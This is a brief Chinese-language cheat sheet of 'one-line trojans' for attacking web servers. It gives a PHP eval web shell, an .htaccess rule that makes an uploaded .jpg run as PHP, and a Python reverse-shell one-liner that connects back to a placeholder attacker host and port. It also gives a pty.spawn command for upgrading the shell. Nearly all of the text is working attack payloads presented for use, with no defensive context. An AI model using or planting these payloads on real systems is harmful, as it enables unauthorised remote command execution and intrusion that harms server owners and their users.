一句话木马

1.php一句话木马

<?php @eval($_POST['cmd']); ?>

.htaccess配置文件

<FilesMatch "1.jpg">
sethandler application/x-httpd-php
</FilesMatch>

2.python一句话木马反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<lhost>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用python反弹shell木马获得shell后，python -c 'import pty; pty.spawn("/bin/bash")'获得pty.

pty(创建一个伪终端):用于在当前的终端中启动一个新的 Bash shell，并让它的输入/输出与当前终端进行更好的交互，获得一个有更好交互性的shell。